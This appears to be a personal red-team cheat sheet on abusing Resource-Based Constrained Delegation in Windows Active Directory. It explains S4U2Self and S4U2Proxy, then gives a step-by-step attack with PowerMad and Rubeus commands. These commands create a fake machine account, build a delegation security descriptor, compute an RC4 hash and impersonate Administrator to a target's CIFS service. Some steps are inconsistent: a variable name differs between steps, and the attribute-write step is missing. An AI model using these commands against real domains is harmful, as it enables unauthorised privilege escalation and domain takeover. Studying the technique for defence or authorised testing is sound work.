RBCD

ABOUT

RBCD is a Windows Active Directory mechanism where a computer object specifies which accounts are allowed to impersonate users to it, for constrained (limited) network-based delegation using Kerberos.

Attackers exploit it by inserting themselves into that trust list and impersonating any user.

"Resource-Based" means the permission is set on the target machine, not on the impersonating account.

"Constrained" means the impersonation is limited to specific services, like SMB or LDAP, not all services.

"Delegation" means one account can act as another user across the network, not just locally.

RBCD allows a computer or service account to say, "this other account is allowed to act as any user when connecting to me." Attackers abuse it by creating their own computer account, then writing their own SID into the delegation attribute on a target machine. After that, they can impersonate any domain user, like Administrator, to that target.

So basically it is crippled version of full impersonation, which is good, considering rule of least privilege

Requirements

Element	Value
Domain User	[e-mail]
Fake Machine Account	FAKE01$
Fake Machine Password	123456
Fake Machine SID	To be retrieved during attack
Target Machine	WS01
Target Admin	Administrator
Domain Controller	DC01
Delegation Permission	Write access to WS01 RBCD attribute

FLOW

1. Create a fake machine account (FAKE01$), if MachineAccountQuota allows it.

2. Add FAKE01$ SID to the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target machine WS01, granting delegation rights.

3. Authenticate as FAKE01$ and request a Kerberos ticket as Administrator to FAKE01 (S4U2Self).

4. Use that ticket to request a second ticket as Administrator to WS01 (S4U2Proxy).

5. Receive a valid service ticket for Administrator to WS01 and use it to access WS01 as Administrator, achieving privilege escalation.

S4U2Self + S4U2Proxy

S4U2Self and S4U2Proxy are Kerberos protocol extensions, not standalone attack techniques.

They were designed by Microsoft as part of Service-for-User (S4U) functionality to support constrained delegation. Their purpose is to let services act on behalf of users under strict control.

You can think of them as functions inside the Kerberos protocol:

• S4U2Self = "Service for User to Self" Lets a service request a ticket for any user to itself, without needing the user's password. LOCAL ONLY (So as separate technique pointless, because to do it we already need to have full control over machine)

• S4U2Proxy = "Service for User to Proxy" Lets the service use that ticket to request a second ticket to another service, completing delegation.

WINDOWS

1. Creating Machine Object

For this we need PowerMAD script [LINK]

PS C:\> New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Checking Object + Taking it's SID

PS C:\> Get-DomainComputer fake01

2. Creating Security Descriptor for FAKE01

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2552734371-813931464-1050690807-1154)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Checking Descriptor

PS C:\> (New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0).DiscretionaryAcl

3. Generating RC4 Hash for FAKE01

.\Rubeus.exe hash /password:123456 /user:FAKE01$ /domain:militech.local

4. Impersonating

.\Rubeus.exe s4u /user:fake01$ /rc4:3SAOIDFHOQWEB1O82G3O123KBSND /impersonateuser:Administrator /msdsspn:cifs/ws01.militech.local /ptt

Base64 Ticket to Ccache ticket

base64 -d ticket_bash64.txt > ticket.kirbi
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=/home/v17/tickets/ticket.ccache
klist

RESOURCES

Kerberos Resource-based Constrained Delegation: Computer Object Takeover | Red Team Notes